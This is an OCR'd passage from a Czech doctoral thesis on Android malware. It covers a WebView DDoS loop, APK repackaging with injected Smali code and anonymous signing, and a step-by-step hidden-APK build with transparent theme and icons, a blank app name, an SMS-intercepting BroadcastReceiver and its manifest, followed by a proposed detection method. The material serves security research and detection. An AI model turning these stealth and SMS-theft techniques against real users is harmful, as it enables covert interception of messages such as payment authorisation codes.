Log.d("MMMM", "Error: " + e.toString());
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}
)

else

{
globalCounter = 0;
}
}

@Override
public void onReceivedError(WebView view, int errorCode, String description,
String failingUrl)
{
super.onReceivedError(view, errorCode, description, failingUrl);
}
}

/I PRIVATNI TRIDA, ABY BYLO MOZNE PREPSAT shouldOverrideUrlLoading
private class MyWebViewClient extends WebViewClient
{
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url)
{
view.loadUrl(url);
return true;

)
}

Aktudlni pocet jiz provedenych Utoki je udrzovan v proménné globalCounter.
Celkovy pocCet utokli, kter¢é maji byt provedeny, je uloZen v proménne
numberOfAttacks. Proménna attackInterval slouZzi k definici opakovaci periody
DDoS utoku, jejiz hodnota je zaddvana v milisekundach. Pro proménné
numberOfAttacks a attackInterval plati stejnd pravidla, ktera byla popsana
v souvislosti s DDoS utokem realizovaného pomoci asynchronnich vlaken na
pozadi. Utok je zahajen vytvofenim instance tfidy WebView a prvnim naétenim
stranky, na kterou je veden utok. Jakmile je dokon¢eno nacteni uvedené webové
stranky, je zavolana metoda onPageFinished tfidy RegisterWebViewClient.
Metoda zajisti znovu nacteni stranky (fadek view.loadUrl(url);) a inkrementaci
¢itace globalCounter. Stranka, proti které je veden tutok, je znovu nactena, ¢imz
je opét aktivovana metoda onPageFinished. To znamen4, Ze je stranka nacitana
ve smycce, kterda je vykonavana, dokud plati podminka, Ze proménna
globalCounter je ostfe mensi nez hodnota proménné numberOfAttacks a soucasné
neni hodnota proménné globalCounter rovna nule. Neni-li splnéna uvedena

221



podminka, je smycka zastavena a do ¢itace poctu Utoki globalCounter je ulozena
hodnota nula. Utok je zastaven a prostéedi je nachystano na dalii jeho spusténi.

Malware obsahujici legitimizujici ¢ast aplikace a Skodlivou ¢ast aplikace miize
byt bezpecnostnimi a antivirovymi skeny rozpoznan na zaklad¢é opravnéni, které
dani aplikace pozaduje. Pokud aplikace poZaduje vice opravnéni, neZ vzhledem
ke své funkcionalité skutecné potiebuje, je testovana aplikace oznacena jako
podeziela. Naptiklad pokud aplikace slouzici k vytvareni kreseb poZaduje plny
piistup k telefonnimu subsystému apod. V posledni dobé& zareagovali tvirci
uvedeného typu malwaru tim, Ze navazuji nelegitimni pozadavky na legitimni
opravnéni. Potfebuje-li naptiklad tviirce mobilniho malware pro sviij atok ptistup
do telefonniho subsystému, vytvoii aplikaci, jejiz legitimizujici ¢ast bude
zdznamnik telefonnich hovori. U takto vytvofeného malware bude dané
opravnéni pouZzito k legitimizujici ¢innosti (nahravani hovort) 1 ke Skodlive
¢innosti.

5.2.2 Vyzkum infekce legitimnich aplikaci (APK repackage)

Ackoliv byl vramci dizertaéni prace proveden komplexni vyzkum, jehoz
vysledkem byly experimentalni infekce APK balickli vyznamnych vyrobcil,
nejsou z bezpecnostnich diivodl vystupy podrobné publikovany. Tento oddil je
proto koncipovan spiSe teoreticky. Text se snazi nejen o celkovy popis procesu
infekce, ale 1 o upozornéni na skutecnosti, které mohou byt pro vyzkumnou
komunitu zabyvajici se otdzkami kybernetické bezpe€nosti ptinosné. Plné znéni
oddilu vcetné¢ zdrojovych kdédu poskytuje autor v soucinnosti s Oddélenim
informaéni kriminality Policie CR. Materialy mohou byt poskytnuty na vyzadani
¢lentim Policie CR a Armady CR.

Jako obéti infekci jsou voleny takové mobilni aplikace, které jsou pro bézné
uzivatele atraktivni. Zpravidla se jedna o popularni placené programy, jako jsou
hry, utility usnadiujici pouzivani mobilnich zafizeni, aplikace pro editaci
fotografii apod. Nejprve tviirce mobilniho malware ziskd APK bali¢ek programu,
ktery hodla infikovat. Poté je provedena dekompilace prvniho typu, ktera umoZzni
zkoumani licen¢nich mechanisml v jazyce Java. Nasledné¢ je uskute¢néna
dekompilace druhého typu, diky které mize tviirce mobilniho malware odstranit
licenéni ochranu ze z4ymové mobilni aplikace. Jamile je uvedeny proces
dokoncen, je provedeno testovaci sestaveni APK balicku, na kterém je otestovana
funkcénost a stabilita programu, protoZe spolu s odstranénim bezpecnostnich
mechanismil mohla byt poSkozena 1 aplika¢ni logika. Jak bylo popsano v oddile
APK Repackage, ménit kod programu je moZn€ jen pomoci jazyka Smali.
Uvedeny jazyk neni urcen pro lidi, ale pro stroje, navic pro n¢j neexistuje zadne
rozumné vyvojoveé prostiedi. Z uvedenych diivodi by byl vyvoj infekéni Casti
v jazyce Smali velmi zdlouhavy a tim padem nakladny. Proto je Skodlivy kod
vytvofen a odladén oddélené v Android Studiu. Aby byl vyvoj co nejlevnégjsi,
nebrani se tvlirci mobilniho malware implementovat do svého kodu 1 pomocné
casti od jinych autorti. Mize se napfiklad jednat o funkcionalitu, kterd je

222



zapouzdiena ve formé knihoven. Skodlivy kod vytvaii a pouZivé instance tiid
z knihovnich souborl. Je zbytecné, aby napiiklad tviirce mobilniho malware
programoval vlastni technologii pro ptenos kradenych dat, kdyz miize vyuzit jiz
existujiciho FTPS (FTP s SSL/TLS) nebo SCP (Secure Copy Protocol) klienta.
Z vyse uvedeného plyne, Ze do infikované aplikace se spolu se Skodlivym kodem
dostane 1 kod pomocny, ktery byl zneuzit k pachani trestné ¢innosti.

Vstupem do dalsi faze infekce jsou dva APK balicky. Prvnim znich je
hostitelska aplikace, kterd ma byt infikovana. Druhym je program, ve které se
nachazi Skodlivy a pomocny kod. Oba APK balicky jsou dekompilovany pomoci
nastroje APKTool. Vysledkem dekompilacniho procesu jsou dva adresare:

e victim, ktery obsahuje soubory hostitelské aplikace (cilovy adresar),
e preparation obsahujici Skodlivy a pomocny kod (zdrojovy adresar).

Z adresare preparation jsou nakopirovany do adresate victim slozky a soubory,
které patii Skodlivé nebo pomocné ¢asti kodu. Struktura kopirovanych souborti a
adresaii musi byt stejnd jako ve zdrojovém adresafi. Jinymi slovy musi byt
zachovana struktura, ktera je odvozena z balickil jazyka Java (viz ptikaz package
na zacatku kazdého zdrojového kodu). Popisovany postup je zachycen na obrazku
5.22. To ale neznamena, Ze jsou zkopirovany vSechny soubory a adresate. Tvirce
mobilniho malwaru by mél celou funkcionalitu idealné zapouzdtit do jediné ttidy.
Pokud to neni z n¢jakych diivodii mozne, mél by byt Skodlivy kéd umistén do
hierarchie ttid. V obou ptipadech plati, Ze by tfida/tfidy neméla/nemély obsahovat
nic jiného neZ Skodlivy kod. To znamena, Ze by malware nemél byt umistovan
spolu s obsluznou funkcionalitou, naptiklad v kodu aktivit apod. Pokud je
naptiklad Skodlivd funkcionalita umisténa ve tfidé RobinHood, pak by tvirce
malwaru mél pfesunout pouze soubory s ptfiponou smali obsahujici nazev
RobinHood (RobinHood.smali, RobinHood$1.smali). Ostatni smali soubory jsou
ignorovany. Pokud se soubor RobinHood.smali a RobinHood$1.smali nachazely
v adresari smali/cz/utb/fai/malware, pak se musi na stejném mist€ nachazet
v cilovém adresafi. Stejny postup je aplikovan 1 na pomocnou funkcionalitu
ovSem s tim rozdilem, Ze jsou pieneseny vSechny soubory a adresafe pomocné
funkcionality. Nachazi-li se pomocny kod v adresatfi smali/it, pak je na stejné
misto nakopirovan i v cilovém adresati.
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preparation — adresar aplikace obsahujici Skodlivy a pomocny kéd

smali/cz/utb/fai/...

Pomocna Cast

smali/it/...

victim — adresar legitimni aplikace

Pomocna cast —

Obr. 5.22: Presun Skodlivych a pomocnych kodii do adresare hostitelske aplikace
[zdroj viastni]

DalSim krokem je uprava souboru AndroidManifest.xml. Pokud je hostitelska
aplikace vybrana peclivé, pak lze navazat nelegitimni poZadavky a legitimni
opravnéni, kterd jsou jiz obsaZena v souboru AndroidManifest.xml. V takovych
piipadech neni potieba provadét editaci souboru AndroidManifest.xml. Nicméné
jsou situace, kdy je nemozZné navazat pozadavky malwaru na jiz existujici
legitimni opravnéni hostitelské aplikace. V takovych piipadech je nutné soubor
AndroidManifest.xml upravit. Pokud naptiklad kod malwaru ke své Cinnosti
potiebuje opravnéni:

e android.permission.READ EXTERNAL STORAGE,

e android.permission.INTERNET.

A obé&t’ mé pouze opravnéni

android.permission.READ EXTERNAL STORAGE

(v souboru AndroidManifest.xml nachazejici se v cilovém adresafi je pouze
uvedené opravnéni), je nutne do manifestu ptidat
android.permission.INTERNET. Mechanismus editace souboru
AndroidManifest.xml je naznacen na obrazku 5.23.
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victim — adresar legitimni aplikace

Pomocna c¢ast

Skodliva éast ke své €innosti potfebuje opravnéni:
* android.permission.READ_EXTERNAL_STORAGE
* android.permission.INTERNET —

AndroidManifest.xml obsahuje pouze opravnéni:
* android.permission.READ_EXTERNAL_STORAGE

Obr. 5.23: Pridani opravnéni pozadovana Skodlivou casti kodu [zdroj viastni]

Pokud by byl v tento okamzik z cilového adresafe zkompilovan APK balicek,
byl by naprosto neSkodny, a to navzdory skute€nosti, Ze se v adresaii nachazeji
vSechny pottebné soubory a malware kéd ma potfebna opravnéni. Nikdy by totiz
nedoslo k aktivaci kodu malwaru. Pro aktivaci je nutné umistit do hostitelské Casti
Smali kédu kotvu, ktera bude mit za ukol spoustét Skodlivou ¢ast kodu. Kotva
musi byt napsana v jazyce Smali. Pro umisténi kotvy plati stejnd pravidla, ktera
byla popsana v oddilu 5.2.1 Malware obsahujici legitimizujici ¢ast aplikace a
Skodlivou ¢ast aplikace (spousténi Skodlivych vlaken na pozadi). Musi byt
respektovana struktura hostitelské aplikace 1 povaha Skodlivého kodu. Vytvoteni
kotvy v hostitelské €asti kodu je zobrazeno na obrazku 5.24. V dal$im kroku je
provedena kompilace vysledného APK balicku a jeho faleSné podepsani. Tvilrce
mobilniho malwaru vyuzije pro podpis takovy vyvojarsky kli¢, ktery neumoznuje
ztotoZnéni programatora (tzn. pachatele) s APK balickem.

victim — adresar legitimni aplikace

MainActivity.smali —

Pomocna cast

Vlozeni kotvy (aktivatoru) do
hostitelského kddu, ktery spusti
malwarovou ¢ast

Legitimni ¢ast kédu;
Legitimni ¢ast kodu;

kotva; N
Legitimni ¢ast kddu;
Legitimni ¢ast kodu;

Obr. 5.24: Vytvoreni kotvy v hostitelském kodu [zdroj viastni]
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Infekce legitimnich mobilnich aplikaci je velmi nebezpecny jev, ktery je
zaroven velmi Casty. V ramci dizertacni prace byl dne 2. 2. 2019 proveden sbér
122 vzorkit APK balicki nachazejicich se na verejné dostupném file share
serveru. Nasledné byly vzorky otestovany pomoci analytického nastroje Virus
Total. V 99 vzorcich byl detekovan néjaky typ Skodliveho kodu. To znamena, Ze
uzivatelé obdrzi zdarma funkcionalitu placenych mobilnich aplikaci, ale zaroven
s1 do svych mobilnich zafizeni sami instaluji malware, ktery miize kompromitovat
jejich soukromi, data a v extrémnich ptipadech i bezpecnost.

5.2.3 Analyza malwaru typu Hidden APK

Drtive nez bude popsdna samotna analyza malwaru typu Hidden APK, je nutné
vysvétlit nékolik klicovych pojmu, které souvisi s problematikou vyvoje Hidden
APK. Prvnim potieba objasnit je samotna definice malwaru typu Hidden APK.
Jedna se o Skodlivy software, ktery neposkytuje uzivatelim Zadnou uziteCnou
funkcionalitu. Z tohoto diivodu musi pouzivat techniky, které mu umoZni
maskovat svou pritomnost v mobilnich zafizenich. Malware typu Hidden APK
Casto pro své Skodlivé zaméry pouziva komponentu, kterd se jmenuje broadcast
receiver. Uvedend komponenta je v oficialni dokumentaci definovana jako:

“A broadcast receiver is a component that responds to system-wide broadcast
announcements. Many broadcasts originate from the system for example, a
broadcast announcing that the screen has turned off, the battery is low, or a picture
was captured. Apps can also initiate broadcasts, for example, to let other apps
know that some data has been downloaded to the device and is available for them
to use. Although broadcast receivers don't display a user interface, they may create
a status bar notification to alert the user when a broadcast event occurs™ [145].

Broadcast receivery jsou vytvareny jako instance tfidy BroadcastReceiver.
Z vySe uvedeného popisu vyplyva, Ze broadcast receivery nemaji zadné grafické
rozhrani, a mohou tedy nepozorovan¢ reagovat na systémove udalosti, které jsou
oznamovany prostiednictvim tzv. broadcastii. Pokud naptiklad mobilni zatizeni
obdrzi SMS zpravu, operacni systém vysle broadcast ,,pfichozi SMS*. VSechny
aplikace, které maji opravnéni sledovat broadcasty souvisejici s SMS zpravami,
mohou pfijmout broadcast ,,ptichozi SMS* prosttednictvim svého broadcast
receiveru. Informace o syst¢emovych udalostech jsou nejprve zaslany broadcast
receiverim a teprve potom jsou o nich informovéani uzivatelé. VSechny tyto
vlastnosti zplsobily, Ze si broadcast receivery oblibili tviirci mobilniho malwaru.

Prvni verze malwaru typu Hidden APK byly Skodlivé aplikace, které mély
veSkerou aplikacni logiku implementovanu pouze v broadcast receiveru. To
znamend, Ze neméli Zadnou aktivitu nebo jiné komponenty grafického
uzivatelského rozhrani. Hidden APK tvofené pouze broadcast receiverem jsou
nazyvany "Evil Applications". Obdobi, kdy bylo mozné vytvaret "Evil
Applications", bylo zlatym vékem mobilniho malwaru srovnatelnym s viry
v obdobi Windows 95. Vytvareni uvedené¢ho typu malware bylo velmi snadné.
Navic operatni systém tvircim malwaru znaén€ napomahal, nebot” sam
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vykonaval celou fadu dalezitych ukond. Tvirci mobilniho malwaru se naptiklad
nemuseli potykat s automatickym spuSténim malwaru po dokonceni bootovaciho
procesu. Také nebylo nutné vytvofeni monitorovaci smycky, ktera ¢eka na ur€itou
udalost, napt. ptichozi SMS, pfipojeni zafizeni k Wi-Fi atd. Naproti tomu
uzivatele¢ méli jen malou Sanci zjistit, Ze maji ve svém mobilnim zafizeni
nainstalovanu "Evil Application". Prvni generace Hidden APK byly funkéni az
do posledni verze operacniho systému Android Gingerbread. Bezpecnostni
situace se stala natolik vdZnou, Ze na ni byla spole¢nost Google LL.C nucena
reagovat. Bezpecnostni funkce tykajici se broadcast receiverii byly poprve
pouzity v operatnim syst¢tmu Android Honeycomb. Toto zabezpeceni je
pouzivano az do dneSnich dni, nicméné ve starSich verzich opera¢nich systémi
nebyla chyba nikdy opravena. Bezpecnostni mechanismus pfinasi jednoduché
pravidlo: kazda aplikace vyuZzivajici broadcast receiver, ktery vyzaduje néjaké
opravnéni (naptiklad ¢teni SMS, nahravani audia apod.), musi mit alesponl jednu
aktivitu. Pfitomnost aktivity v aplikaci zajisti, Ze aplikace bude viditelna, coz
uzivatelim dava moznost zjistit, Ze maji v mobilnim zafizeni nechténou aplikaci.

Vytvofit starou verzi Hidden APK je stale mozné, dokonce ji 1ze nainstalovat
do novych verzi operacniho systtmu Android. Nicméné nebude reagovat na
systtmové broadcasty, takZze uvedeny malware nebude fungovat. V dalsi ¢asti
oddilu je popsano, jak vytvofit malware zaloZeny na broadcast receiverech, ktery
se dokaze v mobilnich zafizenich maskovat navzdory zavedenému
bezpecnostnimu mechanismu.

Jako prvni je v Android Studiu vytvofen novy projekt, ktery bude obsahovat
aplikaci s nazvem ,,Z%. Jedina aktivita aplikace se jmenuje MainActivity a nazev
jejiho XML layoutu je activity main. Jakmile Android Studio vygeneruje novy
projekt, je ptipravena zdkladni struktura vyvijen¢ho programu a aplikaci je mozné
okam?zité spustit.

Poznamka: vSechny snimky obrazovek byly potizeny na skutecném fyzickém
zatizeni HTC One M8 se syst¢tmem Android Lollipop. Zafizeni nebylo nijak
upravovano, tj. mélo normalni Uroven opravnéni. Byla pouzita bil4 pozadi, aby
prvky uzivatelského rozhrani byly jasné viditelné¢ a byl tak ziejmy vysledek
provedenych uprav.
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Obr. 5.25: Prvni spusténi vyvijeného malwaru [zdroj viastni]

Z obréazku 5.25 je patrné, ze vyvijeny malware je plné viditelny, takZe je nutné
provést modifikaci souboru .../res/values/styles.xml. Cilem uprav je potlaceni
zobrazeni horni liSty a pozadi aplikace. Puvodni styles.xml, ktery byl
vygenerovan Android Studiem, je nutné takto upravit:

<resources>
<l-- Base application theme. -->
<style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
<I-- Customize your theme here. -->
<item name="android:windowlsTranslucent">true</item>
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<item name="android:windowNoTitle">true</item>
<item name="android:windowlsFloating">true</item>
<item name="android:backgroundDimEnabled">false</item>
</style>
<[resources>

Vysledek modifikace je vidét na obrazku 5.26, lista aplikace zmizela a pozadi
je nyni zcela prithledne.
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Obr. 5.26: Vysledek modifikace souboru styles.xml [zdroj viastni]

Z obrazku 5.26 je zieyjmé, Ze prvek uZivatelského rozhrani obsahujici text
"Hello World!" je stale viditelny. Uvedeny prvek uzivatelského rozhrani lze
odstranit  upravou souboru .../res/layout/activity main.xml. V souboru
activity main.xml by mély byt odstranény vSechny prvky uzZivatelského rozhrani.
V tomto piipadé bude smazan pouze prvek TextView, protoze Zadny jiny UI
prvek se v souboru activity main.xml nenachdzi. Kofenovy prvek popisujici
uspofadani jako je LinearLayout nebo RelativeLayout musi byt zachovan.
Zachovani kotenového prvku je zasadni, protoZze v ptipadé jeho neptitomnosti
selze kompilace programu.

Ukézka modifikovaného souboru activity main.xml:

<?xml version="1.0" encoding="utf-8"?>

<RelativeLayout xmins:android="http://schemas.android.com/apk/res/android"
xmins:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="org.hakin9.z.MainActivity">

</RelativeLayout>

Na obrazku 5.27 prvek uzivatelského rozhrani s textem "Hello World!" jiZ neni

viditelny. Nicméné nazev aplikace ("Z") je stale viditelny, proto je potfeba upravit
soubor .../res/values/strings.xml.
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Obr. 5.27: Vysledek modifikace souboru activity main.xml [zdroj viastni]

Hodnota app_name je zménéna z "Z" na "&#160;" (fetézec &#160; odpovida
mezete). Uvedend uprava ma dva nasledky:
e aktivita jiz neni viditelna, viz obrazek 5.28,
e popiska ikony vyvijeného malware byla v seznamu ikon odstranéna, viz
obrazky 5.29 a 5.30.

Obr. 5.28: Aktivita jiz neni viditelna [zdroj viastni]
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Obr. 5.29: Standardni popiska programu [zdroj viastni]
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Obr. 5.30: Zobrazeni popisky programu bylo odstranéno [zdroj viastni]

Z polohy ikony vyvijeného malware na obrazku 5.30 (Cerveny ramecek) je
jasne, pro€ bylo jako nazev aplikace zvoleno pismeno "Z". Uvedené pojmenovani
zajisStuje, zZe ikona malwaru bude posledni poloZzkou v seznamu ikon. Takze
jakmile ikona zmizi, nebude v seznamu ikon mezera. Viditelnost ikony 1ze snadno
odstranit tim, Ze pivodni ikona bude nahrazena prihlednym PNG obrazkem.
Vyvijeny projekt je zavien, tj. v Android Studiu je kliknuto na File --> Close
Project. Nasledné je provedena posloupnost nize uvedenych kroki:

e v adresafi .../res/mipmap-hdpi je nahrazena pivodni ikona ic_launcher.png
prihlednym PNG obrazkem o velikosti 72x72 pixelii. Prihledny PNG
obrazek, tj. nova ikona, musi mit stejny nazev jako plivodni ikona.

e v adresafi .../res/mipmap-mdpi je nahrazena piivodni ikona ic_launcher.png
prihlednym PNG obrazkem o velikosti 48x48 pixell. Prihledny PNG
obrazek, tj. nova ikona, musi mit stejny nazev jako plivodni ikona.
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e v adresafi .../res/mipmap-xhdpi je nahrazena plvodni ikona
ic_launcher.png prihlednym PNG obrazkem o velikosti 96x96 pixelu.
Priihledny PNG obrazek, tj. nova ikona, musi mit stejny nazev jako ptivodni
ikona.

e v adresafi .../res/mipmap-xxhdpi je nahrazena plvodni ikona
ic_launcher.png prithlednym PNG obrazkem o velikosti 144x144 pixeld.
Priihledny PNG obrazek, tj. nova ikona, musi mit stejny nazev jako ptivodni
ikona.

e v adresafi ../res/mipmap-xxxhdpi je nahrazena plvodni ikona
ic_launcher.png prithlednym PNG obrazkem o velikosti 192x192 pixelt.
Priihledny PNG obrazek, tj. nova ikona, musi mit stejny nazev jako ptivodni
ikona.

Jakmile jsou vSechny plvodni ikony nahrazeny odpovidajicimi prithlednymi
PNG obrazky, je znovu otevien projekt vyvijeného malwaru v Android Studiu a
nasledné je projekt spustén. Obcas se mize vyskytnout ptfi komunikaci mezi
Android Studiem a testovacim mobilnim zafizenim blize nespecifikovana chyba,
ktera zpusobi, Ze plivodni ikona je stale viditelna. Nastane-li uvedeny ptipad, je
nutné vyvijeny malware ru¢né€ z mobilniho zafizeni odinstalovat: adb uninstall
org.hakin9.z. Nasledn¢ je vyvijeny malware pomoci Android Studia znovu
nainstalovan.
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Obr. 5.31: Zobrazeni popisky a ikony programu bylo odstranéno [zdroj viastni]

Ikona aplikace neni viditelna, nicméné v seznamu ikon stale existuje a uzivatelé
na ni mohou kliknout. Aktivni oblast skryté ikony je na obrazku 5.32 vyznacena
cervené. Pokud uzivatel klikne do aktivni oblasti at’ uz ndhodou nebo pfi
scrollovani seznamem ikon nebude vidét zadnou viditelnou odezvu, ale mobilni
zatizeni piestane reagovat na jakykoliv uZivatelsky dotek na displeji. Mobilni
zatizeni vypada, jako by bylo zcela ,,zamrzlé“. Zatizeni ve skuteCnosti neni
»zamrzlé®, chova se zcela standardné: byla spusténa aktivita malwaru, ktera je
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zcela prihledna. Aktivita je na popiedi a zaujimé celou obrazovku mobilniho
zatizeni. To znamenad, Ze uZivatel na obrazovce sice vidi ikony a dalsi uZivatelske
prvky, nicméné je nemuZe spustit, protoze ve skutecnosti se dotyka prihledné
aktivity umisténé nad vSemi témito prvky. Uvedené chovani je nepiijatelne,
protoZe miize vést ke kompromitaci malwaru.
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Obr. 5.32: Oblast skryté ikony, na kterou Ize kliknout [zdroj viastni]

K opravé lze vyuzZit informace z oficidlni vyvojarské dokumentace nazvané
Managing the Activity Lifecycle [146]. Z dokumentace vyplyva, Ze metoda
onResume je volana vzdy, kdyZ se aktivita dostane do popredi. Metoda onResume
je spusténa za vSech okolnosti, a to 1 v piipadé, Ze aktivita a celd aplikace je
spusSténa poprvé po startu operacniho systému. Teoreticky neni nutné volat
onResume, protoze aktivita se na poptedi nevraci, ale operacni systém tak ptesto
ucini. Uvedend vlastnost systému je velmi dilezita, protoze diky ni je mozné
vyfesit problém se zdanlivé zamrznutou obrazovkou. V aktivité vyvijeného
malwaru je pfepsana metoda onResume a je do ni umisténo volani finish. Tato
uprava zajisti, Ze kdykoliv aktivita vyvijeného malware ptfechdzi do poptredi
(malware byl nahodn¢ spustén uZivatelem), je okamzZité presunuta na pozadi. To
znamend, Ze aktivita uvolni obrazovku mobilniho zatizeni. Prechod aktivity z
pozadi do poptedi, a jeji okamzit¢ odsunuti na pozadi zpusobi kratkodobou
viditelnost aktivity (probliknuti na obrazovce viditelné maximalné jednu
sekundu). Nicméné tento zablesk neni viditelny, protoze je aktivita plné
pruhledna.

Uprava kodu skryté aktivity, ktera byla popsana vyse:

package org.hakin9.z;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
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import android.util.Log;

public class MainActivity extends AppCompatActivity
{
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

}

@Override

public void onResume()

{
super.onResume();
Log.d("hakin9app", "The application is running.");
finish();

}

}

Nyni je malware zcela maskovany, uZivatel ho nemuzZe najit ve svém mobilnim
zafizeni. DalSi fazi vyvoje malwaru je implementace Skodlivé funkcionality
pomoci broadcast receiveru. Je vytvofena nova ttida MalwareReciever, ktera je
instanci tfidy BroadcastReceiver. Poté je do metody onReceive tiidy
MalwareReciever vlozen Skodlivy kod:

package org.hakin9.z;

import android.content.BroadcastReceiver;
import android.content.Context;

import android.content.Intent;

import android.os.Bundle;

import android.telephony.gsm.SmsMessage;
import android.util.Log;

import android.widget. Toast;

import java.sql.Date;

import java.text.SimpleDateFormat;

import java.util.Calendar;

public class MalwareReciever extends BroadcastReceiver

{
@Override
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public void onReceive(Context context, Intent intent)

{

try

{
Bundle bundle = intent.getExtras();
String sMSMessageString =",
Object[] pdusObj = (Object[]) bundle.get("pdus");
SmsMessage  smsMessage =  SmsMessage.createFromPdu((byte[])

pdusObj[0]);

sMSMessageString += "From: " + smsMessage.getOriginatingAddress();

Calendar calendar = Calendar.getinstance();
calendar.setTime(new Date(smsMessage.getTimestampMillis()));

SimpleDateFormat sdf = new SimpleDateFormat("\nDate: 'MM-dd-
yyyy'\nTime:'HH:mm");
sMSMessageString += sdf.format(calendar.getTime());

sMSMessageString += "\nText: " + smsMessage.getMessageBody();

Toast.makeText(context, "\n*** Captured SMS ***\n" + sMSMessageString,
Toast. LENGTH_LONG).show();
}

catch (Exception e)

{
Log.d("hakin9 app", e.toString());
)
}
}

Jakmile mobilni zatizeni obdrzi SMS zpravu, je voldn broadcast receiver
MalwareReciever. Metoda OnReceive piecte Cislo odesilatele, datum, Cas a
textovy obsah zpravy. Uvedeny kod slouzi pouze k demonstracnim ucelim, z
tohoto dlivodu jsou vSechny odcizené informace z ptichozi SMS pouze neskodné
zobrazeny na mobilnim zafizeni. Situace je zobrazena na obrazku 5.34. Scénar
realného utoku by vsak byl jiny. Uvedeny typ malwaru miize byt naptiklad zneuzit
k odcizeni SMS zprav autorizujicich online platby. Utoénici jiz znaji p¥ihlagovaci
udaje do internetového bankovnictvi obéti a mobilni malware je pouzit jako cast
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takzvaného kombinovaného tutoku. Utodnici provedou v internetovém
bankovnictvi obéti platbu a z mobilniho zatizeni ziskaji textovou zpravu pro jeji
autorizaci. Viz naptiklad MitMo Attack Cycle v ¢lanku Mobile Malware: Why
Fraudsters Are Two Steps Ahead [147].

PtestoZe je malware kompletni, nebude fungovat, a to ze dvou divodu:

e broadcast receiver MalwareReciever neni deklarovan v souboru
AndroidManifest.xml (broadcast receiver musi ve své deklaraci rovnéz
pozadat o pravo pfijimat broadcasty o SMS  zpravach:
BROADCAST_ SMS),

e aplikace jako celek vsouboru AndroidManifest.xml nepozadala o
opravnéni pottebna pro ¢teni SMS.

Ukazka souboru AndroidManifest.xml, ktery zajiStuje spravné fungovani

malwaru:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmIns:android="http://schemas.android.com/apk/res/android"
package="org.hakin9.z">
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<receiver android:name=".MalwareReciever"
android:exported="true"
android:permission="android.permission.BROADCAST_SMS">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
<[receiver>
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category. LAUNCHER" />
<fintent-filter>
<[activity>
</application>
</manifest>

28 Behem kombinovaného utoku jsou vyuzity riuzné hardwarové platformy. Utok je napriklad
zahdjen na osobnim pocitaci a je dokoncen na mobilnim zarizeni.
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Uprava souboru AndroidManifest.xml zajisti, Ze je demonstraéni malware typu
Hidden APK plné funkéni. Na obrazcich 5.33 a 5.34 je vidét dulezita vlastnost
malwaru typu Hidden APK: Skodlivy software je plné funkéni bez ohledu na
skute¢nost, Ze neni vidét v seznamu recent screens (tj. neni spustény).
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Obr. 5.33: Seznam recent screens je prazdny [zdroj viastni]
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*** Captured SMS ***

From: +420777837168

Date: 04-09-2016

Time:19:14

Text: Your registration has been

successfully completed. Login: smith_7;
Password: 25Th,Ku5.6hB

Obr. 5.34: Pri prichodu SMS zpravy do systéemu je malware aktivni [zdroj viastni]

Hidden APK je obzvlasté nebezpeCnym druhem mobilniho malwaru, ktery
pouzivd neobvyklé¢ maskovaci techniky. Jejich rozpoznani bez znalosti
uvedenych v tomto oddilu miize byt proto obtizné. Na zdklad¢ vyzkumu Hidden
APK, ktery byl proveden vramci dizertacni prace, byl stanoven nasledujici
detek¢ni postup. Nejprve je pomoci nastroje APKTool provedena dekompilace
APK balicku, nasledné je provedena kontrola:
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e zda v souboru .../res/values/strings.xml existuje string element, jehoZz
parametr name="app name" obsahuje prazdny fetézec, mezery nebo znaky
typu whitespace, naptiklad: “7, “ *, “ “ “&#160;” apod.

e zda v  adresafich .../res/mipmap-hdpi, .../res/mipmap-mdpi,
.../res/mipmap-xhdpi, .../res/mipmap-xxhdpi a .../res/mipmap-xxxhdpi
jsou jako aplikacni ikony pouzity prihledné PNG obrazky.

Navrzend metoda je velmi jednoduché a pomaha spolehlivé detekovat malware
typu Hidden APK, coz znamena, Ze bezpecnostni experti mohou timto zplisobem

uSetfit ¢as, nebot’ 1ze vynechat ¢asové naro¢nou dynamickou analyzu.

5.2.4 Analyza malwaru typu Hidden APK s uzivatelskou interakci

V tomto oddilu je popsana dalsi verze malwaru typu Hidden APK, ktera
vyZaduje neimyslnou spolupraci uzivateli. Malware se snazi oklamat uzivatele,
a pfimét ho, aby Hidden APK spustil sam. V nasledujici ukazce Skodlivého
softwaru je pouzit typicky scénaf zneuzivajici activity-alias.

Proces tvorby malware zac¢ina zaloZenim nového projektu v Android Studiu.
Nazev aplikace musi byt "Package installer". Diivod uvedené¢ho pojmenovani je
vysvétlen pozdé€ji béhem procesu instalace malware. Aplikace je tvofena
aktivitou, kterd se jmenuje MainActivity a ndzev jejiho XML layoutu je
activity main. Jakmile Android Studio 2.0 dokon¢i generovani nového projektu,
je vytvotfen zédklad, ktery lze spustit v mobilnim zafizeni. Vychozi graficke
rozhrani mobilni aplikace vypad4 velmi podobné jako na obrazku 5.25. Jediny
rozdil je v textu, ktery se zobrazuje v horni listé aplikace (misto "Z" je uveden
popisek "Package installer"). Aktivita vyvijen¢ho malware je opét pln¢ viditelna,
v souboru ...res/layout/activity main.xml je tedy potieba odstranit Ul element
TextView.

Ukazka upraveného obsahu souboru activity main.xml:

<?xml version="1.0" encoding="utf-8"?>

<RelativeLayout xmins:android="http://schemas.android.com/apk/res/android"
xmins:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
